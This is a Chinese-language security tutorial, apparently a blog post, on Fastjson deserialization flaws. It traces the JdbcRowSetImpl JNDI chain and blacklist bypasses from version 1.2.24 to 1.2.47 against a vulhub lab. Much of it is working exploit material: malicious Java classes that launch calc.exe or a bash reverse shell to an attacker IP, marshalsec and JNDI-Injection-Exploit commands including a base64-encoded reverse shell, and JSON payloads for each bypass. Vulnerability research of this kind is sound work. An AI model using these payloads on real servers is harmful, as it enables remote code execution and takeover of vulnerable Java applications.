Fastjson概述 fastjson是一个阿里巴巴开源得Java库,用于将对象转化为JSON的表达形式,也可以将JSON字符串转换为等价得java对象,Fastjson反序列化用于将json字符串住转换为Java对象的过程。转换常用的方法主要有3种
1 2 3 parseObject(String text,Class<T> class) //将json转换为对象 parseArray(String text,Class<T> class) //将json转换为java集合 toJSONString(Object object) //将json转换为对象
示例:
pom.xml导入fastjson
1 2 3 4 5 6 7 8 <dependencies> <!-- FastJSON 依赖 --> <dependency> <groupId>com.alibaba</groupId> <artifactId>fastjson</artifactId> <version>1.2.24</version> </dependency> </dependencies>
首先写一个测试类User
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 package org.example;class User { private Long id; private String name; private Integer age; public User () {} public Long getId () { return id; } public void setId (Long id) { this .id = id; } public String getName () { return name; } public void setName (String name) { this .name = name; } public Integer getAge () { return age; } public void setAge (Integer age) { this .age = age; } @Override public String toString () { return "User{id=" + id + ", name='" + name + "', age=" + age + "}" ; } }
测试demo
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 package org.example;import com.alibaba.fastjson.JSON;import java.util.List; class FastJsonDemo { public static void main (String[] args) { User user = new User (); user.setId(1L ); user.setName("张三" ); user.setAge(20 ); String jsonStr = JSON.toJSONString(user); System.out.println("对象转JSON:" + jsonStr); String json = "{\"id\":2,\"name\":\"李四\",\"age\":25}" ; User userObj = JSON.parseObject(json, User.class); System.out.println("JSON转对象:" + userObj); } }
运行实例
Fastjson-1.2.24 AutoType AutoType是自定义的机制,而不是使用java序列化机制,当类中包含接口或者抽象类时使用fastjson序列化时会将子类抹去,只留下接口或者抽象类得类型,反序列化时无法获得原始类型,举个例子
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 import com.alibaba.fastjson.JSON;import java.util.List;interface Score {}class Math implements Score { private double score; public void setScore (double score) { this .score = score; } public double getScore () { return score; } } class English implements Score { private double score; public void setScore (double score) { this .score = score; } public double getScore () { return score; } } class test { public static void main (String[] args) { Math m=new Math (); m.setScore(149 ); English e=new English (); e.setScore(150 ); String jsonStr = JSON.toJSONString(e); String jsonstr=JSON.toJSONString(m); System.out.println(jsonStr); System.out.println(jsonstr); } }
这里定义了两个类继承接口,英语成绩为150,数学成绩为149,当序列化为json输出结果
这里只输出为149,150,并不知道哪个是英语成绩,哪个是数学成绩,这里就存在弊端,然后就有了Fastjson独创的AutoType,在序列化时自动往json中加一个@type字段,这个字段储存的就是Java类的全类名。Fastjson要想序列化带上类型,反序列化能够识别子类必须开启SeriliazeFeature.WriteClassName,参考示例
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 import com.alibaba.fastjson.JSON;import com.alibaba.fastjson.serializer.SerializerFeature;import java.util.List;interface Score {}class Math implements Score { private double score; public void setScore (double score) { this .score = score; } public double getScore () { return score; } } class English implements Score { private double score; public void setScore (double score) { this .score = score; } public double getScore () { return score; } } class test { public static void main (String[] args) { Math m=new Math (); m.setScore(149.0 ); English e=new English (); e.setScore(150.0 ); String jsonStr = JSON.toJSONString(e); String jsonstr=JSON.toJSONString(m); String jsonMath = JSON.toJSONString(m, SerializerFeature.WriteClassName); String jsonEnglish = JSON.toJSONString(e, SerializerFeature.WriteClassName); System.out.println(jsonStr); System.out.println(jsonstr); System.out.println(jsonMath); System.out.println(jsonEnglish); } }
由于AutoType在反序列化时json字符串时,会自动识别@type的内容,尝试把这个JSON内容反序列化为对象,并调用setter或者getter,因此可以构造一个恶意json来执行命令
JdbcRowSetlmpl利用链 setAutoCommit()代码
1 2 3 4 5 6 7 8 9 10 11 public void setAutoCommit (boolean autoCommit) throws SQLException { if (conn != null ) { conn.setAutoCommit(autoCommit); } else { conn = connect(); conn.setAutoCommit(autoCommit); } }
当conn连接为null时,回主动调用connect()方法建立数据连接,看一下connect()方法
1 2 3 4 5 } else if (getDataSourceName() != null ) { try { Context ctx = new InitialContext (); DataSource ds = (DataSource)ctx.lookup(getDataSourceName());
这是漏洞的核心,如何设置了datasourcename就走JNDI查找,只要lookup地地址是攻击者恶意RMP/LDA服务器就可以远程执行代码,这里参数是getDataSourceName(),看一下是是怎么定义的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 public String getDataSourceName () { return dataSource; } public void setDataSourceName (String name) throws SQLException { if (name == null ) { dataSource = null ; } else if (name.equals("" )) { throw new SQLException ("DataSource name cannot be empty string" ); } else { dataSource = name; } URL = null ; }
关键是这个setDataSourceName,当利用fastjson反序列化时,自动调用set方法,构造json时,传入{"datasourceName":"ldap://xxxx"}就会调用 setDataSourceName,然后赋值dataSource = ldap://xxxx,然后在构造一个json触发 connect(),即{"autoCommit":"ture"}反序列化时会自动执行setAutoCommit—>connect()然后会进行一个if判断
1 if (getDataSourceName() != null)
上面给出了getDataSourceName()就会返回dataSource,刚才已经通过setDataSourceName给dataSource赋值了,通过if判断最后执行的就是lookup(getDataSourceName()通过远程服务器执行恶意命令。payload
1 2 3 4 5 { "@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"ldap://xxxxx", "autoCommit":true }
漏洞复现 首先创建一个恶意类
1 2 3 4 5 6 7 8 9 public class fastjson { static { try { Runtime.getRuntime().exec("calc.exe" ); } catch (Exception e) { e.printStackTrace(); } } }
编译为class文件,这里要注意版本,高版本对JNDI远程类加载做了限制,编译过后起一个http服务
接下来使用marshalsec项目,启动LDAP服务,监听9999端口并加载远程类fastjson.class
1 java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://192.168.100.128:7777/#fastjson" 9999
一切准备就绪,在windows执行代码
1 2 3 4 5 6 7 8 9 10 package org.example.fastjsontest;import com.alibaba.fastjson.JSON; class Server { public static void main (String[] args) { String poc = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://192.168.100.128:9999/fastjson\",\"autoCommit\":true}" ; JSON.parseObject(poc); } }
靶场复现 使用vulhub靶场,项目地址vulhub/vulhub: Pre-Built Vulnerable Environments Based on Docker-Compose
启动容器后抓包修改为POST,Content-Type修改为json,这次尝试反弹shell,恶意类
1 2 3 4 5 6 7 8 9 10 class fastjson { static { try { String[] cmds={"/bin/bash" ,"-c" ,"bash -i >& /dev/tcp/192.128.100.128/4444 0>&1" }; Runtime.getRuntime().exec(cmds); } catch (Exception e) { e.printStackTrace(); } } }
编译好起一个http服务,然后再开启LADP服务
1 java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://192.168.100.128:7777/#fastjson" 9999
payload
1 2 3 4 5 6 7 { "b":{ "@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"ldap://192.168.100.128:9999/fastjson", "autoCommit":true } }
还有另外一种比较快捷的方法
welk1n/JNDI-Injection-Exploit: JNDI注入测试工具(A tool which generates JNDI links can start several servers to exploit JNDI Injection vulnerability,like Jackson,Fastjson,etc)
JNDI注入利用工具,生成JNDI链接并启动后端相关服务。下载后使用命令编译mvn clean package -DskipTests
构造反弹shell命令
1 bash -i >& /dev/tcp/ip/port 0>&1
1 java -jar target/JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEwMC4xMjgvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}" -A 192.168.100.128
运行会给出恶意链接
1 2 3 4 5 6 7 { "b":{ "@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"ldap://192.168.100.128:1389/bnvok4", "autoCommit":true } }
反弹成功。
Fastjson-1.2.25 在pox.xml文件中修改
1 2 3 4 5 6 <dependency> <groupId>com.alibaba</groupId> <artifactId>fastjson</artifactId> <version>1.2.25</version> </dependency> </dependencies>
再次尝试运行脚本
1 2 3 4 5 6 7 8 9 10 package org.example.fastjsontest;import com.alibaba.fastjson.JSON;class Server { public static void main (String[] args) { String poc = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://192.168.100.128:9999/fastjson\",\"autoCommit\":true}" ; JSON.parseObject(poc); } }
在1.2.25版本中Fastjson已经开始限制AutoType,在com.alibaba.fastjson.parser.ParserConfig主要分析这个checkAutoType
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 public Class<?> checkAutoType(String typeName, Class<?> expectClass) { if (typeName == null ) { return null ; } final String className = typeName.replace('$' , '.' ); if (autoTypeSupport || expectClass != null ) { for (int i = 0 ; i < acceptList.length; ++i) { String accept = acceptList[i]; if (className.startsWith(accept)) { return TypeUtils.loadClass(typeName, defaultClassLoader); } } for (int i = 0 ; i < denyList.length; ++i) { String deny = denyList[i]; if (className.startsWith(deny)) { throw new JSONException ("autoType is not support. " + typeName); } } }
如果开启了autoType首先是判断类名是不是在白名单中,如果在直接TypeUtils.loadClass 加载,然后是遍历黑名单只要 @type对应的类名以黑名单任意前缀开头,直接抛异常。
没有开始autoType
1 2 3 4 5 6 7 8 9 10 11 if (!autoTypeSupport) { for (int i = 0 ; i < denyList.length; ++i) { String deny = denyList[i]; if (className.startsWith(deny)) { throw new JSONException ("autoType is not support. " + typeName); } } for (int i = 0 ; i < acceptList.length; ++i) { String accept = acceptList[i]; if (className.startsWith(accept)) { clazz = TypeUtils.loadClass(typeName, defaultClassLoader);
关闭 autoType,先是黑名单匹配,白名单加载类
1 2 3 if (autoTypeSupport || expectClass != null ) { clazz = TypeUtils.loadClass(typeName, defaultClassLoader); }
开启autoTypeSupport或者expectClass不为空,就会TypeUtils.loadClass加载,跟进分析一下loadClass
1 2 3 4 5 6 7 8 9 if (className.charAt(0 ) == '[' ) { Class<?> componentType = loadClass(className.substring(1 ), classLoader); return Array.newInstance(componentType, 0 ).getClass(); } if (className.startsWith("L" ) && className.endsWith(";" )) { String newClassName = className.substring(1 , className.length() - 1 ); return loadClass(newClassName, classLoader); }
一个是加载数组类,只要第一个字符是 [,递归调用 loadClass 加载后面的类,另一个是处理类签名,Lxxxx;会去掉L,;截取中间的字符串,loadClass加载类。
这里就出现漏洞,判断类与实际加载类不同,在1.2.24版本中使用的类JdbcRowSetImpl在黑名单中,只要开启autoType,在JdbcRowSetImpl前后加上L;即可绕过黑名单,payload
1 2 3 4 5 { "@type": "Lcom.sun.rowset.JdbcRowSetImpl;", "dataSourceName": "ldap://192.168.100.128:9999/fastjson", "autoCommit": true }
这里需要在json解析前开启autoType,
1 2 3 4 5 6 7 8 9 10 11 12 package org.example.fastjsontest;import com.alibaba.fastjson.JSON;import com.alibaba.fastjson.parser.ParserConfig;class Server { public static void main (String[] args) { ParserConfig.getGlobalInstance().setAutoTypeSupport(true ); String poc = "{\"@type\":\"Lcom.sun.rowset.JdbcRowSetImpl;\",\"dataSourceName\":\"ldap://192.168.100.128:9999/fastjson\",\"autoCommit\":true}" ; JSON.parseObject(poc); } }
Fastjson-1.2.42 在这个版本中,定义的黑名单不是使用明文,而是hash
在checkAutoType中增加了
代码作用是将Lxxx;修改为xxxx,双写就可以绕过,paylaod
1 2 3 4 5 { "@type": "LLcom.sun.rowset.JdbcRowSetImpl;;", "dataSourceName": "ldap://192.168.100.128:9999/fastjson", "autoCommit": true }
Fastjson-1.2.43 在1.2.43版本中又增加了新限制
这里匹配类名得前两个字符,前两个字符是LL就是直接报错,这里需要换一种写法,使用[{绕过,payload
1 2 3 4 5 { "@type": "[com.sun.rowset.JdbcRowSetImpl"[{, "dataSourceName": "ldap://192.168.100.128:9999/fastjson", "autoCommit": true }
这个畸形json利用了Fastjson解析器对非标准格式的宽松处理,[{会触发数组类型的反序列化,同时也会绕过黑名单,下断点看一下
代码执行到loadClass,可以看到解析的类名是[com.sun.rowset.JdbcRowSetImpl,进入到loadClass,执行下代码
1 2 3 4 if (className.charAt(0 ) == '[' ){ Class<?> componentType = loadClass(className.substring(1 ), classLoader); return Array.newInstance(componentType, 0 ).getClass(); }
成功加载类。
1 2 3 4 5 6 7 8 9 10 11 12 package org.example.fastjsontest;import com.alibaba.fastjson.JSON;import com.alibaba.fastjson.parser.ParserConfig;class Server { public static void main (String[] args) { ParserConfig.getGlobalInstance().setAutoTypeSupport(true ); String poc = "{\"@type\":\"[com.sun.rowset.JdbcRowSetImpl\"[{,\"dataSourceName\":\"ldap://192.168.100.128:9999/fastjson\",\"autoCommit\":true}" ; JSON.parseObject(poc); } }
Fastjson-1.2.47 前面几个执行的前提是需要开启autoType,在这个版本下可以不开启 AutoTypeSupport 的情况下进行反序列化的利用,还是看checkAutoType
1 2 3 4 5 6 7 if (h1 == 0xaf64164c86024f1aL ) { throw new JSONException ("autoType is not support. " + typeName); } if ((h1 ^ className.charAt(className.length() - 1 )) * PRIME == 0x9198507b5af98f0L ) { throw new JSONException ("autoType is not support. " + typeName); }
开启了autoType就会先是白名单校验,匹配成功直接加载类,然后是黑名单检查,如果类在黑名单中并且这个类没有缓存过,抛出异常,这两个条件缺一不可。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 Class<?> clazz = null ; if (clazz == null ) { clazz = TypeUtils.getClassFromMapping(typeName); } if (clazz == null ) { clazz = deserializers.findClass(typeName); } if (clazz != null ) { if (expectClass != null && clazz != java.util.HashMap.class && !expectClass.isAssignableFrom(clazz)) { throw new JSONException ("type not match. " + typeName + " -> " + expectClass.getName()); } return clazz; }
如果autoType没有开启,就会先匹配黑名单,然后是白名单匹配成功的话加载类,如果clazz还为空就加载类。上面分析到在autoType默认没有开始时,程序直接检查黑名单并抛出异常,如果在TypeUtils.mappings和deserialize中能够找到目标类,就会return,这样就不会执行下面的黑名单检测。
在TypeUtils中有loadClass()代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 public static Class<?> loadClass(String className, ClassLoader classLoader, boolean cache) { if (className == null || className.length() == 0 ){ return null ; } Class<?> clazz = mappings.get(className); if (clazz != null ){ return clazz; } if (className.charAt(0 ) == '[' ){ Class<?> componentType = loadClass(className.substring(1 ), classLoader); return Array.newInstance(componentType, 0 ).getClass(); } if (className.startsWith("L" ) && className.endsWith(";" )){ String newClassName = className.substring(1 , className.length() - 1 ); return loadClass(newClassName, classLoader); } try { if (classLoader != null ){ clazz = classLoader.loadClass(className); if (cache) { mappings.put(className, clazz); } return clazz; } } catch (Throwable e){ e.printStackTrace(); } try { ClassLoader contextClassLoader = Thread.currentThread().getContextClassLoader(); if (contextClassLoader != null && contextClassLoader != classLoader){ clazz = contextClassLoader.loadClass(className); if (cache) { mappings.put(className, clazz); } return clazz; } } catch (Throwable e){ } try { clazz = Class.forName(className); mappings.put(className, clazz); return clazz; } catch (Throwable e){ } return clazz; }
只要能控制这个函数的参数,就可以向缓存中写入类,查看有那些类调用了这个方法
关键就是这个MiscCodec.java,分析一下关键代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 if (parser.resolveStatus == DefaultJSONParser.TypeNameRedirect) { parser.resolveStatus = DefaultJSONParser.NONE; parser.accept(JSONToken.COMMA); if (lexer.token() == JSONToken.LITERAL_STRING) { if (!"val" .equals(lexer.stringVal())) { throw new JSONException ("syntax error" ); } lexer.nextToken(); } else { throw new JSONException ("syntax error" ); } parser.accept(JSONToken.COLON); objVal = parser.parse(); parser.accept(JSONToken.RBRACE); } else { objVal = parser.parse(); } String strVal; if (objVal == null ) { strVal = null ; } else if (objVal instanceof String) { strVal = (String) objVal;
这段话代码的作用是当parser.resolveStatus =TypeNameRedirect就会解析json内容,将val的值放入到objVal,然后把objVal赋值给strVal,
1 2 3 if (clazz == Class.class) { return (T) TypeUtils.loadClass(strVal, parser.getConfig().getDefaultClassLoader()); }
目标类型是Class.class,直接把strVal当作类名,调用TypeUtils.loadClass加载把类写入到缓存中。
1 2 3 4 5 6 7 8 9 10 11 12 package org.example.fastjsontest; import com.alibaba.fastjson.JSON; class Server { public static void main(String[] args) { String poc = "{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.rowset.JdbcRowSetImpl\"}"; JSON.parseObject(poc); } }
这里已经把恶意类赋值给strVal,接下来调用loadClass
可以看到已经把恶意类加载进去了,接下来就可以绕过黑名单从缓存中加载类,最后的paylaod
1 2 3 4 5 6 7 8 9 10 11 { "a": { "@type": "java.lang.Class", "val": "com.sun.rowset.JdbcRowSetImpl" }, "b": { "@type": "com.sun.rowset.JdbcRowSetImpl", "dataSourceName": "ldap://192.168.100.128:9999/#fastjson, "autoCommit": true } }
1 2 3 4 5 6 7 8 9 10 package org.example.fastjsontest;import com.alibaba.fastjson.JSON;class Server { public static void main (String[] args) { String poc = "{\"a\":{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.rowset.JdbcRowSetImpl\"},\"b\":{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://192.168.100.128:9999/fastjson\",\"autoCommit\":true}}" ; JSON.parseObject(poc); } }